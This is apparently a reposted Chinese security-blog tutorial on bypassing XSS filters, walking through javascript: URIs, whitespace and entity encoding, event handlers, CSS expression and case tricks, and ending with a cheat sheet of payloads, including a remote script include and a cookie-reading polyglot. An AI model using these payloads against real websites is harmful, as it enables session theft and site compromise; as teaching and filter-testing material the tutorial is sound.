XSS攻击的可行性
通常情况下为了防御跨站脚本攻击,会在web应用中设计一个脚本过滤器,专业术语叫做:XSS Filter,用于拦截XSS攻击。XSS Filter一般是基于黑名单的过滤策略,这样把用户的输入数据和黑名单进行校验。如果相同则进行拦截或者编码等处理,黑名单的效率是底下的,因此要想完全防御XSS攻击是很困难的,开发者必须得考虑到各种可以触发XSS的情况,因此实现起来相当复杂,这也就造成在如今安全环境的大背景下,XSS攻击的可行性。
下面从“攻”的角度去探讨、展示一些绕过XSS Filter试用例。
(1)利用<>标记注射HTML、JavaScript
如果用户可引入<>等标记,那么他就可以操作一个HTML 标签,然后通过<script>标签就能任意插入JavaScript编写的恶意脚本代码。
<script>alert(/XSS/)</script>
当然这种是最理想的情况了,只要XSS Filter过滤“<>”或“<script>” 等字符,这样的话,这种形式的XSS将不复存在
所以要想XSS学的好,那么就得多学习几种绕过姿势了。
(2)利用HTML标签属性执行XSS
假设用户不能构造自己的 HTML标记,但是用户还可以使用其他形式来执行XSS,例如HTML的标签的属性值。很多HTML标记中的属性都支持JavaScript:[code] 伪协议,这类特殊的协议由JavaScript的解释器运行,所以用户可以利用部分HTML标记的属性进行XSS。如下面的代码:
<img src = "javascript:alert(/XSS1/);">
<table background = "javascript:alert(/XSS2/)"></table>
上面2张图分别是利用了IMG标记的src属性和TABLE的background属性的截图。细心的读者已经注意到这里我们换了个浏览器,为什么这里突然换了xp下的IE 浏览器呢?这是因为并不是所有的浏览器都支持JavaScript伪协议的,所以此类的XSS攻击具有一定的局限性,不过如今任有大量的用户在使用支持伪协议的浏览器,当然并不是所有标记的属性都能产生XSS,通常只有引用文件的属性才能触发跨站脚本。
(3)空格回车Tab
如果XSS Filter仅仅把敏感的字符列入黑名单处理,如对敏感的JavaScript而言,用户可以利用空格、回车和Tab键绕过限制:
<img src="java script:alert(/XSS/)" width = 100>
这里javas 和script之间不是空格,是一个【Tab键】,这样在IE6下可以顺利弹出对话框。
使用关键字拆分的技巧不局限于【Tab键】,还可以使用【回车】【空格】之类的其他键位。为什么会出现这种状况?原因很复杂。JavaScript语句通常以分号结尾,如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,那么就可以省略分号:
var a = true;
var b = "this is also true"
如果一行中有多个语句,那么每个语句就必须使用分号来结束:
var a = true;var b = "this is also true";
除了在引号中分隔单词或强制结束语句之外,额外的空白无论以何种方式添加都无所谓,举个列子:
var a
= 'hello xss';
alert(a);
这里虽然有换行符,但是变量的赋值是完全成功的。
JavaScript引擎没有把换行符解释为语句的结束,因为到了换行符并不是一个完整的语句,JavaScript会继续往下处理内容,直至遇到一个分号或发现语句完整为止。
根据这个特点,用户可以构造下面的代码形式来绕过过滤:
<img src = "javas
cript:
alert(/XSS/)" width = "100">
(4)对标签的属性值转码
对于普通HTML 标记的属性进行过滤,用户还可以通过编码处理来绕过,因为HTML中属性本身支持ASCII码形式。根据HTML的属性值支持ASCII码的特性,把XSS代码:
<img src = "javascript:alert(/XSS/);">
替换成
<img src = "javascript:alert(/XSS/);">
Bin(二进制)
|
Oct(八进制) |
Dec(十进制)
|
Hex(十六进制)
|
缩写/字符
|
解释
|
01110100
|
164
|
116
|
74
|
t
|
小写字母t |
00111010
|
72
|
58
|
3A
|
:
|
冒号 |
对应ASCII码表可以看出:t的ASCII码值为116,用 t 表示;同理 : 用 : 表示。
还可以把、 等字符插入到JavaScript的头部:
另外结合上一个绕过方式,【Tab】的ASCII码 	、【换行符】的
、【回车】的
 可以插入到代码中任意地方。再结合这2个特点可以构造出如下的代码:
<img src = "java scr
ipt:alert(/XSS/)">
其中 可以写成  效果是一样的。	 就是【Tab】键,可以插到代码中的任意地方, 
 就是【换行符】。 所以为了防范利用这个特点的XSS,过滤&#等字符也是个不错的选择。
(5)产生自己的事件
现在假设用户不能依靠属性值进行跨站,那还有没有其他方法?答案是肯定的,事件就是其中一种方法。
我们知道,JavaScript与HTML之间的交互是通过事件来实现的,事件就是用户或浏览器自身执行的某种动作,比如 click、mouseover、load等,而响应事件的函数叫做事件处理函数。
<input type = "button" value = "click me" onclick = "alert(/XSS/)" />
这是一个HTML代码中的事件处理函数,当运行这段代码,单击 【click me】 按钮后,会触发onclick 事件,然后 就执行了 onclick 事件中的JavaScript代码,如下图:
因为事件可以让JavaScript执行,所以也可以用来执行跨站脚本,如:
<img src = "#" onerror = alert(/XSS/)>
效果如下:
顺利执行了,这里简单说明一下:onerror 是IMG标记的一个事件,只要页面发生错误,该事件立即激活,在这个事例中,浏览器解释IMG标记的时候,会加载src属性引用的图片地址,如果这个图片不存在的话 便会触发onerror事件。因为这里 src = “#”,这里是不存在图片的,所以XSS被执行。
(6)利用CSS跨站解析
XSS跨站脚本的另一个载体是CSS样式表,使用CSS样式表执行JavaScript具有隐蔽、灵活多变等特点,但是有一个很大的缺点是:各浏览器之间不能通用,甚至同一浏览器的不同版本之间都不能通用。使用CSS直接执行JavaScript代码的事例如下:
<div style="background-image: url(javascript:alert('XSS'))">
IE5及其以后版本支持在CSS 中使用expression,使用expression同样可以触发XSS漏洞:
<img src="g" style = "xss:expression(alert('XSS'));">
以上事例是使用CSS中的expression执行JavaScript代码,expression是用来把CSS属性和JavaScript表达式关联起来。如果CSS属性后面为一段JavaScript表达式,赋值等于JavaScript表达式计算的结果。
(7)扰乱过滤规则
利用前面叙述的各种技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利绕过XSS Filter 的重重过滤。
程序员在各种被插后开始汲取各种经验,在开发过程中可能已经考虑到各种触发XSS的情况,让系统变得更加牢固安全。但是渗透者的手段是多种多样的,看下面的一些事例:
一个正常的XSS输入:
<img src = "javascript:alert(1);">
转换大小写后的XSS:
<IMG SRC = "javascript:alert(1);">
大小写混合的XSS:
<ImG SRc = "jAVasCRIpT:AlerT(1);">
不用双引号,而是使用单引号的XSS:
<img src = 'javascript:alert(1);'>
不适用引号的XSS:
<img src = javascript:alert(1);>
很有趣吧,以上任何一种事例都可能绕过XSSFIlter,我们再看看其他XSS技巧:
<img/src = "javascript:alert('XSS');">
这里IMG标记和src属性之间没有空格,而是用 / 隔开的,这段代码在IE6中 可以成功执行:
样式表中的/**/会被浏览器忽略,因此可以运用/**/来注释字符,通过插入混淆字符绕过过滤,如:
目前绝大多数的过滤系统都是采用黑名单的过滤,用户可以结合使用注释字符干扰来欺骗过滤器。
除/**/外,样式标签中的 \ 和结束符 \0 也是被浏览器忽略的,如:
@\0im\port'\0ja\vasc\ript:alert("XSS")';
还可以将CSS中的关键字进行转码处理,如将e转换为\65,包括改变编码中0的数量。
<p style = "xss:\65xpression(alert(/XSS/))">
<p style = "xss:\065xpression(alert(/XSS/))">
<p style = "xss:\0065xpression(alert(/XSS/))">
实际上 上面介绍的XSS只是冰山一角,由于web浏览器种类3,版本不同,各自的HTML、CSS、JavaScript等引擎也存在着各式各样的差异,再加上各个站点采用了不同的XSS检测和防范策略,XSS的构造可谓包罗万象,五花八门。
由此可见,不管XSS Filter设计得多严密,都有可能被黑客绕过的可能,而作为防御端总是被动的,如何才能确保web系统不受XSS攻击一直是一个值得探讨的问题。
在XSS测试中我们经常需要尝试各种XSS输入,以绕过过滤,这时候如果有一份待测试的XSS语句列表会方便许多。下面分享一份常见的XSS攻击脚本列表,用来方便我们的检测:
XSS 备忘
符号过滤测试
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//"; alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
XSS 远程引入
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
基于 polyglot 绕过过滤机制
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)> <script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script> <script>alert(document.cookie)</script>"> <img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"> <img src="http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg">
基于 JavaScript 指令的图片 XSS?
<IMG SRC="javascript:alert('XSS');">
省略结束符及引号
<IMG SRC=javascript:alert('XSS')>
?大小写混杂 XSS 攻击向量
<IMG SRC=JaVaScRiPt:alert('XSS')>
基于 HTML 实体
<IMG SRC=javascript:alert("XSS")>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
fromCharCode 函数绕过
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
利用回调函数
<IMG SRC=# onmouseover="alert('xxs')">
更多XSS 构造语句就不一一列举了, 感兴趣的朋友可以 google: XSS?Cheat Sheet。
转载请注明:即刻安全 » XSS构造深度剖析及实例讲解